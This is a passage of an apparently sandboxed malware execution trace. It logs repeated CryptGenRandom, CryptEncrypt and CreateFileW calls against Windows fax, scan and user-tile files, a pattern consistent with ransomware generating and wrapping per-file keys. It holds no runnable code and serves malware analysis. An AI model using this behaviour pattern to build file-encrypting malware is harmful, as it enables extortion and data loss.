pbBuffer=0x2abf260) returned 1 [0095.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf258*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf258*=0x30) returned 1 [0095.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf250 | out: pbBuffer=0x2abf250) returned 1 [0095.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf248*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf248*=0x30) returned 1 [0095.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.069] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf238 | out: pbBuffer=0x2abf238) returned 1 [0095.069] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf230*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf230*=0x30) returned 1 [0095.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.069] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf238 | out: pbBuffer=0x2abf238) returned 1 [0095.069] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf230*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf230*=0x30) returned 1 [0095.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.069] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf230 | out: pbBuffer=0x2abf230) returned 1 [0095.069] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf228*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf228*=0x30) returned 1 [0095.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.069] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf230 | out: pbBuffer=0x2abf230) returned 1 [0095.069] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf228*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf228*=0x30) returned 1 [0095.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1d8 | out: pbBuffer=0x2abf1d8) returned 1 [0095.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1d0*=0x30) returned 1 [0095.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1d8 | out: pbBuffer=0x2abf1d8) returned 1 [0095.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1d0*=0x30) returned 1 [0095.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1d0 | out: pbBuffer=0x2abf1d0) returned 1 [0095.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1c8*=0x30) returned 1 [0095.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1d0 | out: pbBuffer=0x2abf1d0) returned 1 [0095.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1c8*=0x30) returned 1 [0095.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1c8 | out: pbBuffer=0x2abf1c8) returned 1 [0095.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1c0*=0x30) returned 1 [0095.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1c8 | out: pbBuffer=0x2abf1c8) returned 1 [0095.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1c0*=0x30) returned 1 [0095.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1c0 | out: pbBuffer=0x2abf1c0) returned 1 [0095.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1b8*=0x30) returned 1 [0095.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1c0 | out: pbBuffer=0x2abf1c0) returned 1 [0095.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1b8*=0x30) returned 1 [0095.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1b8 | out: pbBuffer=0x2abf1b8) returned 1 [0095.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1b0*=0x30) returned 1 [0095.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1b8 | out: pbBuffer=0x2abf1b8) returned 1 [0095.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1b0*=0x30) returned 1 [0095.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1b0 | out: pbBuffer=0x2abf1b0) returned 1 [0095.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1a8*=0x30) returned 1 [0095.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1b0 | out: pbBuffer=0x2abf1b0) returned 1 [0095.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1a8*=0x30) returned 1 [0095.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1a8 | out: pbBuffer=0x2abf1a8) returned 1 [0095.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1a0*=0x30) returned 1 [0095.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1a8 | out: pbBuffer=0x2abf1a8) returned 1 [0095.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf1a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf1a0*=0x30) returned 1 [0095.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1a0 | out: pbBuffer=0x2abf1a0) returned 1 [0095.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf198*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf198*=0x30) returned 1 [0095.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf1a0 | out: pbBuffer=0x2abf1a0) returned 1 [0095.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf198*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf198*=0x30) returned 1 [0095.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf198 | out: pbBuffer=0x2abf198) returned 1 [0095.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf190*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf190*=0x30) returned 1 [0095.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf198 | out: pbBuffer=0x2abf198) returned 1 [0095.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf190*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf190*=0x30) returned 1 [0095.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf190 | out: pbBuffer=0x2abf190) returned 1 [0095.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf188*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf188*=0x30) returned 1 [0095.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf190 | out: pbBuffer=0x2abf190) returned 1 [0095.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf188*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf188*=0x30) returned 1 [0095.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf188 | out: pbBuffer=0x2abf188) returned 1 [0095.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf180*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf180*=0x30) returned 1 [0095.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf188 | out: pbBuffer=0x2abf188) returned 1 [0095.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf180*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf180*=0x30) returned 1 [0095.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf180 | out: pbBuffer=0x2abf180) returned 1 [0095.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf178*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf178*=0x30) returned 1 [0095.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf180 | out: pbBuffer=0x2abf180) returned 1 [0095.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf178*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf178*=0x30) returned 1 [0095.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf178 | out: pbBuffer=0x2abf178) returned 1 [0095.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf170*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf170*=0x30) returned 1 [0095.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf178 | out: pbBuffer=0x2abf178) returned 1 [0095.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf170*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf170*=0x30) returned 1 [0095.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf170 | out: pbBuffer=0x2abf170) returned 1 [0095.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf168*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf168*=0x30) returned 1 [0095.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf170 | out: pbBuffer=0x2abf170) returned 1 [0095.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf168*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf168*=0x30) returned 1 [0095.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf168 | out: pbBuffer=0x2abf168) returned 1 [0095.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf160*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf160*=0x30) returned 1 [0095.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf168 | out: pbBuffer=0x2abf168) returned 1 [0095.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, 